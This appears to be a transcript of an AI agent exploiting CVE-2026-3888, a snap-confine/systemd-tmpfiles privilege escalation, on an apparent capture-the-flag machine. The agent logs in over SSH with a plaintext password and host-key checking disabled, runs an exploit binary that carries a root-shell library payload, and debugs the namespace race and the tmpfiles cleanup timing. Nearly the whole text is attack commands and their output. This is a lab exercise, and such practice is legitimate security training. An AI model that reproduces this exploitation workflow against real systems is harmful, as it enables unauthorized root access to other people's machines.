$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'SNAP_INSTANCE_NAME=firefox SNAPD_DEBUG=1 systemd-run --user --scope --unit=snap.cve3888.destroy2 -- /usr/lib/snapd/snap-confine --base snapd snap.firefox.hook.configure /bin/true 2>&1 | tail -10' 2>/dev/nullDEBUG: set_effective_identity uid:0 (change: no), gid:0 (change: yes)
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: set_effective_identity uid:0 (change: no), gid:1000 (change: yes)
DEBUG: performing operation: (disabled) use debug build to see details
DEBUG: performing operation: (disabled) use debug build to see details
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_kFOA73//dev: No such file or directory
Good - it failed but the namespace should be destroyed now. Let me check:
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'ls -la /run/snapd/ns/ 2>/dev/null' 2>/dev/nulltotal 64
drwxr-xr-x 2 root root 120 Apr 9 07:39 .
drwxr-xr-x 4 root root 80 Apr 9 07:05 ..
-r--r--r-- 1 root root 0 Apr 9 07:05 snapd-desktop-integration.mnt
-rw-r--r-- 1 root root 40 Apr 9 07:39 snap.firefox.fstab
-rw-r--r-- 1 root root 56751 Apr 9 07:05 snap.snapd-desktop-integration.fstab
-rw-r--r-- 1 root root 22 Apr 9 07:05 snap.snapd-desktop-integration.info
The firefox.mnt is gone but the fstab is still there with only 40 bytes (nearly empty). Let me clean that up and try again:
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'SNAP_INSTANCE_NAME=firefox systemd-run --user --scope --unit=snap.cve3888.fresh -- /usr/lib/snapd/snap-confine --base core22 snap.firefox.hook.configure /bin/sh -c "echo HELLO; id; ls -la /tmp/" 2>&1 | tail -15' 2>/dev/nullupdate.go:85: cannot change mount namespace according to change mount (/var/lib/snapd/hostfs/usr/local/share/doc /usr/local/share/doc none bind,ro 0 0): cannot open directory "/usr/local/share": permission denied
update.go:85: cannot change mount namespace according to change mount (/var/lib/snapd/hostfs/usr/share/gimp/2.0/help /usr/share/gimp/2.0/help none bind,ro 0 0): cannot write to "/var/lib/snapd/hostfs/usr/share/gimp/2.0/help" because it would affect the host in "/var/lib/snapd"
update.go:85: cannot change mount namespace according to change mount (/var/lib/snapd/hostfs/usr/share/gtk-doc /usr/share/gtk-doc none bind,ro 0 0): cannot write to "/var/lib/snapd/hostfs/usr/share/gtk-doc" because it would affect the host in "/var/lib/snapd"
update.go:85: cannot change mount namespace according to change mount (/var/lib/snapd/hostfs/usr/share/javascript/jquery /usr/share/javascript/jquery none bind,ro 0 0): cannot write to "/var/lib/snapd/hostfs/usr/share/javascript/jquery" because it would affect the host in "/var/lib/snapd"
update.go:85: cannot change mount namespace according to change mount (/var/lib/snapd/hostfs/usr/share/javascript/sphinxdoc /usr/share/javascript/sphinxdoc none bind,ro 0 0): cannot write to "/var/lib/snapd/hostfs/usr/share/javascript/sphinxdoc" because it would affect the host in "/var/lib/snapd"
update.go:85: cannot change mount namespace according to change mount (/var/lib/snapd/hostfs/usr/share/libreoffice/help /usr/share/libreoffice/help none bind,ro 0 0): cannot write to "/var/lib/snapd/hostfs/usr/share/libreoffice/help" because it would affect the host in "/var/lib/snapd"
update.go:85: cannot change mount namespace according to change mount (/var/lib/snapd/hostfs/usr/share/sphinx_rtd_theme /usr/share/sphinx_rtd_theme none bind,ro 0 0): cannot write to "/var/lib/snapd/hostfs/usr/share/sphinx_rtd_theme" because it would affect the host in "/var/lib/snapd"
update.go:85: cannot change mount namespace according to change mount (/var/lib/snapd/hostfs/usr/share/xubuntu-docs /usr/share/xubuntu-docs none bind,ro 0 0): cannot write to "/var/lib/snapd/hostfs/usr/share/xubuntu-docs" because it would affect the host in "/var/lib/snapd"
HELLO
uid=1000(jonathan) gid=1000(jonathan) groups=1000(jonathan)
total 12
drwxrwxrwt 4 root root 4096 Apr 9 07:39 .
drwxr-xr-x 21 root root 540 Apr 9 07:39 ..
drwxrwxrwt 2 root root 4096 Apr 9 07:05 .X11-unix
drwxr-xr-x 4 jonathan jonathan 4096 Apr 9 07:39 .snap
Now it's working! The sandbox ran and we can see:
HELLO was printed/tmp/.snap directory exists inside the sandboxNow let me run the exploit properly. The first run before was with the existing corrupt namespace. Let me run the exploit fresh:
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'SNAP_INSTANCE_NAME=firefox systemd-run --user --scope --unit=snap.cve3888.destroy3 -- /usr/lib/snapd/snap-confine --base snapd snap.firefox.hook.configure /bin/true 2>&1 | tail -5' 2>/dev/nullRunning as unit: snap.cve3888.destroy3.scope; invocation ID: 23a2dab8ce9848e490ff46bf869d42b5
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_iIX8ZE//dev: No such file or directory
Now let me run the exploit. The exploit's main() already handles the systemd-run re-exec. The issue before was that the namespace was corrupt. Let me run the exploit properly:
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'cd /home/jonathan && rm -f /tmp/exploit_out3.txt; nohup ./exploit ./librootshell.so > /tmp/exploit_out3.txt 2>&1 &' 2>/dev/null; sleep 20; sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'cat /tmp/exploit_out3.txt 2>/dev/null' 2>/dev/nullNo output yet. The exploit probably re-execed itself with systemd-run and the output went elsewhere. Let me check processes:
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'ps aux | grep -E "exploit|cve3888" | grep -v grep; echo "---"; cat /tmp/exploit_out3.txt 2>/dev/null; echo "---"; journalctl --user -n 10 --no-pager 2>/dev/null' 2>/dev/null---
---
Apr 09 07:40:39 snapped systemd[12301]: Starting xdg-permission-store.service - sandboxed app permission store...
Apr 09 07:40:39 snapped pipewire[12313]: mod.jackdbus-detect: Failed to receive jackdbus reply: org.freedesktop.DBus.Error.ServiceUnknown: The name org.jackaudio.service was not provided by any .service files
Apr 09 07:40:39 snapped wireplumber[12320]: SPA handle 'api.libcamera.enum.manager' could not be loaded; is it installed?
Apr 09 07:40:39 snapped wireplumber[12320]: PipeWire's libcamera SPA missing or broken. libcamera not supported.
Apr 09 07:40:39 snapped dbus-daemon[12356]: [session uid=1000 pid=12356] Successfully activated service 'org.freedesktop.impl.portal.PermissionStore'
Apr 09 07:40:39 snapped systemd[12301]: Started xdg-permission-store.service - sandboxed app permission store.
Apr 09 07:40:39 snapped dbus-daemon[12356]: [session uid=1000 pid=12356] Successfully activated service 'org.freedesktop.portal.Documents'
Apr 09 07:40:39 snapped systemd[12301]: Started xdg-document-portal.service - flatpak document portal service.
Apr 09 07:40:39 snapped xdg-document-portal[12375]: Ignoring invalid max threads value 4294967295 > max (100000).
Apr 09 07:40:39 snapped wireplumber[12320]: BlueZ system service is not available
The exploit seems to have started a new user session (UID 1000 session) via systemd-run and then the output went to that scope's output. Let me check running processes in the session:
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'ps aux | grep jonathan | grep -v ssh | grep -v grep | head -20' 2>/dev/nulljonathan 12507 36.8 0.2 20728 11968 ? Ss 07:40 0:00 /usr/lib/systemd/systemd --user
jonathan 12511 0.0 0.0 21476 3652 ? S 07:40 0:00 (sd-pam)
jonathan 12522 3.2 0.2 109204 8732 ? Ssl 07:40 0:00 /usr/bin/pipewire
jonathan 12523 6.4 0.1 97744 6024 ? Ssl 07:40 0:00 /usr/bin/pipewire -c filter-chain.conf
jonathan 12538 25.0 0.0 5060 3444 ? Rs 07:40 0:00 /bin/bash /snap/snapd-desktop-integration/178/snap/command-chain/desktop-launch /snap/snapd-desktop-integration/178/usr/bin/snapd-desktop-integration
jonathan 12546 22.2 0.3 404984 15964 ? Ssl 07:40 0:00 /usr/bin/wireplumber
jonathan 12552 7.6 0.2 109408 10680 ? Ssl 07:40 0:00 /usr/bin/pipewire-pulse
jonathan 12554 3.8 0.1 9500 5092 ? Ss 07:40 0:00 /usr/bin/dbus-daemon --session --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
jonathan 12585 5.2 0.1 536568 7420 ? Ssl 07:40 0:00 /usr/libexec/xdg-document-portal
jonathan 12607 0.0 0.1 309316 6064 ? Ssl 07:40 0:00 /usr/libexec/xdg-permission-store
jonathan 12646 150 0.1 13620 4524 ? R 07:40 0:00 ps aux
jonathan 12650 0.0 0.0 8308 2016 ? S 07:40 0:00 head -20
The exploit process is gone! It started the systemd-run scope but then the exploit itself died. Let me try running it directly, without the auto-scope feature, and instead use the proper cgroup setup manually:
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'CVE_2026_3888_SCOPED=1 systemd-run --user --scope --unit=snap.cve3888.run -- /home/jonathan/exploit /home/jonathan/librootshell.so > /tmp/exploit_final.txt 2>&1 &' 2>/dev/null; sleep 20; sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'cat /tmp/exploit_final.txt 2>/dev/null' 2>/dev/nullRunning as unit: snap.cve3888.run.scope; invocation ID: f0efbc5c9eb3455694939e8cd109d69b
$ sleep 15 && sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'cat /tmp/exploit_final.txt 2>/dev/null; echo "---"; ps aux | grep -E "exploit|snap-confine" | grep -v grep' 2>/dev/nullRunning as unit: snap.cve3888.run.scope; invocation ID: f0efbc5c9eb3455694939e8cd109d69b
---
The exploit started but then exited immediately. The output from systemd-run went to the file, but the exploit's own output didn't. Let me try a different approach - just run the exploit without nohup or background:
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'CVE_2026_3888_SCOPED=1 /home/jonathan/exploit /home/jonathan/librootshell.so 2>&1 | head -30' 2>/dev/null[Timed out after 60s] Command may be interactive. Ensure no prompts or stdin input, or increase the timeout (current: 60s).It's running but taking time. The output might not be flushing. Let me try running it with a timeout and capturing output:
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'CVE_2026_3888_SCOPED=1 timeout 120 /home/jonathan/exploit /home/jonathan/librootshell.so > /tmp/exploit_v2.txt 2>&1; echo "EXIT: $?"' 2>/dev/nullEXIT: 124
Exit 124 = timeout. Let me check the output:
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'cat /tmp/exploit_v2.txt 2>/dev/null' 2>/dev/nullEmpty output! The issue is that without the cgroup being "snap.*", snap-confine refuses to run. The exploit needs the CVE_2026_3888_SCOPED env var set AND the proper cgroup. But when I set it manually with systemd-run, the output goes to systemd journal.
Let me try a different approach - pipe to tee or use script:
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'CVE_2026_3888_SCOPED=1 systemd-run --user --scope --unit=snap.cve3888.exploit script -qc "/home/jonathan/exploit /home/jonathan/librootshell.so" /tmp/exploit_typescript.txt 2>&1; sleep 5; cat /tmp/exploit_typescript.txt 2>/dev/null | head -30' 2>/dev/nullRunning as unit: snap.cve3888.exploit.scope; invocation ID: 18d4418a80f14c85920e50d097e73fae
================================================================
CVE-2026-3888 — snap-confine / systemd-tmpfiles SUID LPE
================================================================
[*] Payload: /home/jonathan/librootshell.so (9152 bytes)
[Phase 1] Entering Firefox sandbox...
[+] Inner shell PID: 14065
[Phase 2] Waiting for .snap deletion...
[*] Polling (up to 30 days on stock Ubuntu).
[*] Hint: use -s to skip.
[Timed out after 30s] Command may be interactive. Ensure no prompts or stdin input, or increase the timeout (current: 30s).Excellent! Now it's working! Phase 1 succeeded - inner shell PID 14065. Phase 2 is waiting for .snap deletion. The timer runs every 1 minute, so let me wait for it to clean up and then check progress.
$ sleep 90 && sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'cat /tmp/exploit_typescript.txt 2>/dev/null' 2>/dev/nullThe file is empty. It may have been overwritten. Let me check if the exploit is still running:
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'ps aux | grep -E "exploit|script|sleep 86400|sleep 99994" | grep jonathan | grep -v grep' 2>/dev/nulljonathan 13488 0.0 0.0 9948 3588 ? Ss 07:42 0:00 bash -c CVE_2026_3888_SCOPED=1 /home/jonathan/exploit /home/jonathan/librootshell.so 2>&1 | head -30
jonathan 13491 0.0 0.0 2900 1900 ? S 07:42 0:00 /bin/sh -c cd /tmp; while test -d ./.snap; do touch ./; sleep 5; done; sleep 86400
jonathan 14062 0.0 0.0 9948 3632 ? Ss 07:45 0:00 bash -c CVE_2026_3888_SCOPED=1 systemd-run --user --scope --unit=snap.cve3888.exploit script -qc "/home/jonathan/exploit /home/jonathan/librootshell.so" /tmp/exploit_typescript.txt 2>&1; sleep 5; cat /tmp/exploit_typescript.txt 2>/dev/null | head -30
jonathan 14063 0.0 0.0 8312 2228 ? S 07:45 0:00 /usr/bin/script -qc /home/jonathan/exploit /home/jonathan/librootshell.so /tmp/exploit_typescript.txt
jonathan 14064 0.0 0.0 1088 812 pts/0 Ss+ 07:45 0:00 /home/jonathan/exploit /home/jonathan/librootshell.so
jonathan 14065 0.0 0.0 2900 1696 pts/0 S+ 07:45 0:00 /bin/sh -c cd /tmp; while test -d ./.snap; do touch ./; sleep 5; done; sleep 86400
The exploit is running with PID 14064, and the inner shell (14065) is running. It's polling for .snap deletion. Let me check the .snap status inside the sandbox:
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'ls -la /proc/14065/root/tmp/.snap 2>/dev/null; stat /proc/14065/root/tmp/.snap 2>/dev/null' 2>/dev/nulltotal 16
drwxr-xr-x 4 jonathan jonathan 4096 Apr 9 07:45 .
drwxrwxrwt 4 root root 4096 Apr 9 07:48 ..
drwxr-xr-x 3 jonathan jonathan 4096 Apr 9 07:45 snap
drwxr-xr-x 4 jonathan jonathan 4096 Apr 9 07:45 usr
File: /proc/14065/root/tmp/.snap
Size: 4096 Blocks: 8 IO Block: 4096 directory
Device: 252,0 Inode: 261819 Links: 4
Access: (0755/drwxr-xr-x) Uid: ( 1000/jonathan) Gid: ( 1000/jonathan)
Access: 2026-04-09 07:48:32.093184384 -0400
Modify: 2026-04-09 07:45:04.551170188 -0400
Change: 2026-04-09 07:45:04.551170188 -0400
Birth: 2026-04-09 07:45:04.551170188 -0400
The .snap directory exists inside the sandbox. The inner shell is touching it every 5 seconds to keep it fresh. We need to wait for systemd-tmpfiles-clean to delete it. But wait - the systemd-tmpfiles timer runs every 1 minute, and it should clean up files based on the D! directive. The D! type in tmpfiles.d means "create or delete if old". Let me check when the last cleanup ran:
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'systemctl status systemd-tmpfiles-clean.timer 2>/dev/null | head -15; echo "---"; systemctl status systemd-tmpfiles-clean.service 2>/dev/null | head -10' 2>/dev/null● systemd-tmpfiles-clean.timer - Daily Cleanup of Temporary Directories
Loaded: loaded (/usr/lib/systemd/system/systemd-tmpfiles-clean.timer; static)
Drop-In: /etc/systemd/system/systemd-tmpfiles-clean.timer.d
└─override.conf
Active: active (waiting) since Thu 2026-04-09 07:05:09 EDT; 43min ago
Trigger: Thu 2026-04-09 07:49:04 EDT; 12s left
Triggers: ● systemd-tmpfiles-clean.service
Docs: man:tmpfiles.d(5)
man:systemd-tmpfiles(8)
Warning: some journal files were not opened due to insufficient permissions.
---
○ systemd-tmpfiles-clean.service - Cleanup of Temporary Directories
Loaded: loaded (/usr/lib/systemd/system/systemd-tmpfiles-clean.service; static)
Active: inactive (dead) since Thu 2026-04-09 07:48:04 EDT; 47s ago
TriggeredBy: ● systemd-tmpfiles-clean.timer
Docs: man:tmpfiles.d(5)
man:systemd-tmpfiles(8)
Process: 14279 ExecStart=systemd-tmpfiles --clean (code=exited, status=0/SUCCESS)
Main PID: 14279 (code=exited, status=0/SUCCESS)
CPU: 28ms
The cleanup just ran at 07:48:04 and will run again in about 12 seconds. But .snap still exists because the inner shell is touching it every 5 seconds. The D! type means it only deletes directories older than a certain age. Since the inner shell keeps touching it, the directory stays fresh.
Wait - I re-read the exploit. The inner shell touches ./ (the current directory /tmp), not ./.snap. The while test -d ./.snap; do touch ./; sleep 5; done loop keeps the PARENT directory fresh. Once .snap is deleted by tmpfiles, the loop exits and the shell sleeps for 86400 seconds.
But the issue is the D! directive: D! /tmp/snap-private-tmp 0700 root root - - this only manages /tmp/snap-private-tmp, not .snap directly. The .snap directory is inside /tmp/snap-private-tmp//tmp/. Since we're accessing it through the namespace (/proc/14065/root/tmp/.snap), the actual path on disk is different.
Let me check what the actual path on disk is:
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'ls -la /tmp/snap-private-tmp/ 2>/dev/null; echo "---"; stat /tmp/snap-private-tmp 2>/dev/null; echo "---"; readlink /proc/14065/root/tmp 2>/dev/null; stat /proc/14065/root/tmp 2>/dev/null' 2>/dev/null---
File: /tmp/snap-private-tmp
Size: 4096 Blocks: 8 IO Block: 4096 directory
Device: 252,0 Inode: 261810 Links: 3
Access: (0700/drwx------) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2026-04-09 07:26:27.478093778 -0400
Modify: 2026-04-09 07:26:27.478605797 -0400
Change: 2026-04-09 07:26:27.478605797 -0400
Birth: 2026-04-09 07:26:27.478093778 -0400
---
File: /proc/14065/root/tmp
Size: 4096 Blocks: 8 IO Block: 4096 directory
Device: 252,0 Inode: 261816 Links: 3
Access: (1777/drwxrwxrwt) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2026-04-09 07:49:09.795186963 -0400
Modify: 2026-04-09 07:49:09.795186963 -0400
Change: 2026-04-09 07:49:09.795186963 -0400
Birth: 2026-04-09 07:26:27.478605797 -0400
The /tmp/snap-private-tmp is mode 0700 root-owned, so jonathan can't access it directly. But inside the sandbox, /tmp is actually mapped to the private tmp. The .snap is at /proc/14065/root/tmp/.snap which maps to /tmp/snap-private-tmp/firefox/tmp/.snap on the real filesystem.
The systemd-tmpfiles-clean runs with root privileges, so it CAN access /tmp/snap-private-tmp/firefox/tmp/.snap. The D! directive says D! /tmp/snap-private-tmp 0700 root root - but the D! with the ! means "remove contents too". Let me check the tmpfiles configuration more carefully:
The directive is D! /tmp/snap-private-tmp 0700 root root - which means:
D! = create or delete (the ! means also delete contents)- which means "no age limit" - it won't be deleted based on ageWait, let me re-read. The D type is "create directory, empty contents if exists". The ! suffix means "also change ownership/permissions of existing". The - age means... actually, for D! with age -, it creates the directory but doesn't auto-delete contents.
Hmm, but the challenge says the timer cleans up .snap. Let me look at additional tmpfiles configs:
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'find /usr/lib/tmpfiles.d/ /etc/tmpfiles.d/ /run/tmpfiles.d/ -name "*snap*" -exec echo "=== {} ===" \; -exec cat {} \; 2>/dev/null; echo "---ALL TMPFILES WITH SNAP---"; grep -r "snap" /usr/lib/tmpfiles.d/ /etc/tmpfiles.d/ 2>/dev/null' 2>/dev/null=== /usr/lib/tmpfiles.d/snapd.conf ===
D! /tmp/snap-private-tmp 0700 root root -
---ALL TMPFILES WITH SNAP---
/usr/lib/tmpfiles.d/snapd.conf:D! /tmp/snap-private-tmp 0700 root root -
There's only one entry. But with D! and age -, systemd-tmpfiles won't delete old files inside. Let me re-read the Qualys advisory and the HTB blog more carefully.
Looking at the HTB blog: "After the system's cleanup daemon deletes a stale mimic directory under /tmp". And from the Ubuntu discourse: "allow removing content in the private tmp folders without affecting the architectural structure". They added X /tmp/snap-private-tmp and x /tmp/snap-private-tmp//tmp/.snap lines.
But in this CTF machine, only D! /tmp/snap-private-tmp 0700 root root - exists. This means the machine hasn't been patched. The D! type in tmpfiles.d means:
D = create directory if it doesn't exist! = also apply to existing directories (not just missing ones)With the - age field and --clean operation, D! type directories have their contents cleaned if older than the default max age. Actually, looking at the tmpfiles.d documentation more carefully:
For D!, the --clean operation removes files/dirs inside the directory if they're old enough. The age of - means... let me check:
Actually, with --clean, the age field controls when files inside the directory are removed. - means "ignore this line during --clean". So systemd-tmpfiles --clean would NOT clean anything inside /tmp/snap-private-tmp.
Hmm, but the challenge says it does get cleaned. Let me check the actual systemd-tmpfiles-clean service behavior:
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'cat /usr/lib/systemd/system/systemd-tmpfiles-clean.service 2>/dev/null; echo "---"; cat /usr/lib/systemd/system/systemd-tmpfiles-clean.timer 2>/dev/null; echo "---OVERRIDE---"; cat /etc/systemd/system/systemd-tmpfiles-clean.timer.d/override.conf 2>/dev/null' 2>/dev/null# SPDX-License-Identifier: LGPL-2.1-or-later
#
# This file is part of systemd.
#
# systemd is free software; you can redistribute it and/or modify it
# under the terms of the GNU Lesser General Public License as published by
# the Free Software Foundation; either version 2.1 of the License, or
# (at your option) any later version.
[Unit]
Description=Cleanup of Temporary Directories
Documentation=man:tmpfiles.d(5) man:systemd-tmpfiles(8)
DefaultDependencies=no
After=local-fs.target time-set.target
Conflicts=shutdown.target initrd-switch-root.target
Before=shutdown.target initrd-switch-root.target
[Service]
Type=oneshot
ExecStart=systemd-tmpfiles --clean
SuccessExitStatus=DATAERR
IOSchedulingClass=idle
ImportCredential=tmpfiles.*
---
# SPDX-License-Identifier: LGPL-2.1-or-later
#
# This file is part of systemd.
#
# systemd is free software; you can redistribute it and/or modify it
# under the terms of the GNU Lesser General Public License as published by
# the Free Software Foundation; either version 2.1 of the License, or
# (at your option) any later version.
[Unit]
Description=Daily Cleanup of Temporary Directories
Documentation=man:tmpfiles.d(5) man:systemd-tmpfiles(8)
ConditionPathExists=!/etc/initrd-release
[Timer]
OnBootSec=15min
OnUnitActiveSec=1d
---OVERRIDE---
[Timer]
OnBootSec=1m
OnUnitActiveSec=1m
OK so the timer runs every minute. The --clean flag is used. But with D! and age -, nothing gets cleaned inside /tmp/snap-private-tmp.
Wait, let me re-read the D! documentation. Actually in systemd tmpfiles.d:
D and v: when --clean is used, all files/dirs below the specified path that are older than the specified age are removed- means "never clean" for those typesBut the HTB blog says ".snap is cleaned". Maybe the challenge has a different tmpfiles config. Let me check if there are runtime-generated tmpfiles configs:
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'find /run/tmpfiles.d/ -type f 2>/dev/null -exec cat {} \; 2>/dev/null; echo "---"; cat /etc/tmpfiles.d/*.conf 2>/dev/null; echo "---"; find /usr/lib/tmpfiles.d/ -newer /usr/lib/tmpfiles.d/snapd.conf 2>/dev/null' 2>/dev/nullc! /dev/cuse 0600 - - - 10:203
c! /dev/autofs 0600 - - - 10:235
c! /dev/btrfs-control 0600 - - - 10:234
c! /dev/nvram 0600 - - - 10:144
c! /dev/userio 0600 - - - 10:240
c! /dev/uhid 0600 - - - 10:239
d /dev/vfio 0755 - - -
c! /dev/vfio/vfio 0600 - - - 10:196
c! /dev/vhci 0600 - - - 10:137
c! /dev/vhost-net 0600 - - - 10:238
c! /dev/vhost-vsock 0600 - - - 10:241
d /dev/snd 0755 - - -
c! /dev/snd/timer 0600 - - - 116:33
d /dev/snd 0755 - - -
c! /dev/snd/seq 0600 - - - 116:1
c! /dev/zfs 0600 - - - 10:249
---
---
/usr/lib/tmpfiles.d/
/usr/lib/tmpfiles.d/static-nodes-permissions.conf
/usr/lib/tmpfiles.d/gvfsd-fuse-tmpfiles.conf
/usr/lib/tmpfiles.d/legacy.conf
/usr/lib/tmpfiles.d/gnome-remote-desktop-tmpfiles.conf
/usr/lib/tmpfiles.d/tmp.conf
/usr/lib/tmpfiles.d/openvpn.conf
/usr/lib/tmpfiles.d/open-vm-tools-desktop.conf
/usr/lib/tmpfiles.d/systemd.conf
/usr/lib/tmpfiles.d/lvm2.conf
/usr/lib/tmpfiles.d/var.conf
/usr/lib/tmpfiles.d/debian.conf
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'cat /usr/lib/tmpfiles.d/tmp.conf 2>/dev/null' 2>/dev/null# This file is part of systemd.
#
# systemd is free software; you can redistribute it and/or modify it
# under the terms of the GNU Lesser General Public License as published by
# the Free Software Foundation; either version 2.1 of the License, or
# (at your option) any later version.
# See tmpfiles.d(5) for details
# Clear tmp directories separately, to make them easier to override
D /tmp 1777 root root 4m
#q /var/tmp 1777 root root 30d
D /tmp 1777 root root 4m - This means /tmp is a D type with age 4m (4 minutes). When --clean runs, files/dirs INSIDE /tmp older than 4 minutes will be removed. But since /tmp/snap-private-tmp has its own entry with D! and age -, it should take precedence.
Wait, actually I think I need to reconsider. The .snap directory we see through /proc/14065/root/tmp/.snap is NOT the same as /tmp/snap-private-tmp. Inside the sandbox, /tmp is a mount namespace - it's a tmpfs. The .snap is on that tmpfs. When systemd-tmpfiles --clean runs, it sees /tmp/snap-private-tmp (which is root-only 0700) but also sees /tmp/.snap... no, actually the .snap is only visible inside the sandbox's mount namespace.
Let me think again. On the host filesystem, the sandbox's /tmp is at /tmp/snap-private-tmp/firefox/tmp/. So .snap is at /tmp/snap-private-tmp/firefox/tmp/.snap.
When systemd-tmpfiles --clean runs:
D /tmp 1777 root root 4m - this means clean files inside /tmp older than 4 minutes/tmp/snap-private-tmp is 0700 root-owned, so it can't be read by the user/tmp/snap-private-tmp, there are the per-snap directoriestmp/.snapSo systemd-tmpfiles cleans /tmp/snap-private-tmp/firefox/tmp/.snap because it's inside /tmp and older than 4 minutes! The inner shell touches ./ (which is /tmp/ inside the sandbox) to keep it fresh, but the ACTUAL host path /tmp/snap-private-tmp/firefox/tmp/ might not be getting updated.
Actually wait - the touch ./ command inside the sandbox updates the timestamp of /tmp in the sandbox's mount namespace, but the underlying host filesystem at /tmp/snap-private-tmp/firefox/tmp/ might be a different mount. Let me check:
$ sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'stat /tmp/snap-private-tmp/firefox/tmp/ 2>/dev/null; echo "---"; stat /tmp/snap-private-tmp/firefox/tmp/.snap 2>/dev/null; stat /tmp/snap-private-tmp/ 2>/dev/null' 2>/dev/null---
File: /tmp/snap-private-tmp/
Size: 4096 Blocks: 8 IO Block: 4096 directory
Device: 252,0 Inode: 261810 Links: 3
Access: (0700/drwx------) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2026-04-09 07:26:27.478093778 -0400
Modify: 2026-04-09 07:26:27.478605797 -0400
Change: 2026-04-09 07:26:27.478605797 -0400
Birth: 2026-04-09 07:26:27.478093778 -0400
Jonathan can only see /tmp/snap-private-tmp/ but not its contents (it's 0700 root). But the important thing is that the .snap inside the sandbox's /tmp IS a tmpfs, not on the real disk. Let me verify:
Inside the sandbox, /tmp is mounted as tmpfs. But what does it map to on the host? Looking at the exploit code and the snap-confine debug output, I see create-writable-mimic "/usr/lib/x86_64-linux-gnu" and mount name:"/usr/lib/x86_64-linux-gnu" dir:"/tmp/.snap/usr/lib/x86_64-linux-gnu".
So .snap is created as a regular directory under /tmp inside the sandbox namespace. On the host, /tmp for the Firefox snap is at /tmp/snap-private-tmp/firefox/tmp/. This is a bind-mount or tmpfs.
The key question: when does systemd-tmpfiles delete .snap? Let me just wait and see what happens. The exploit is already running and polling. Let me check its progress periodically:
$ sleep 120 && sshpass -p 'linkinpark' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null jonathan@10.129.25.16 'cat /tmp/exploit_typescript.txt 2>/dev/null | strings | tail -30; echo "---PS---"; ps aux | grep -E "exploit|script" | grep jonathan | grep -v grep' 2>/dev/null---PS---
jonathan 13488 0.0 0.0 9948 3588 ? Ss 07:42 0:00 bash -c CVE_2026_3888_SCOPED=1 /home/jonathan/exploit /home/jonathan/librootshell.so 2>&1 | head -30
jonathan 14062 0.0 0.0 9948 3632 ? Ss 07:45 0:00 bash -c CVE_2026_3888_SCOPED=1 systemd-run --user --scope --unit=snap.cve3888.exploit script -qc "/home/jonathan/exploit /home/jonathan/librootshell.so" /tmp/exploit_typescript.txt 2>&1; sleep 5; cat /tmp/exploit_typescript.txt 2>/dev/null | head -30
jonathan 14063 0.0 0.0 8312 2228 ? S 07:45 0:00 /usr/bin/script -qc /home/jonathan/exploit /home/jonathan/librootshell.so /tmp/exploit_typescript.txt
jonathan 14064 0.0 0.0 1088 812 pts/0 Ss+ 07:45 0:00 /home/jonathan/exploit /home/jonathan/librootshell.so
The script file is empty. But the exploit is still running. The inner shell (PID 14065) seems to have exited. Let me check:
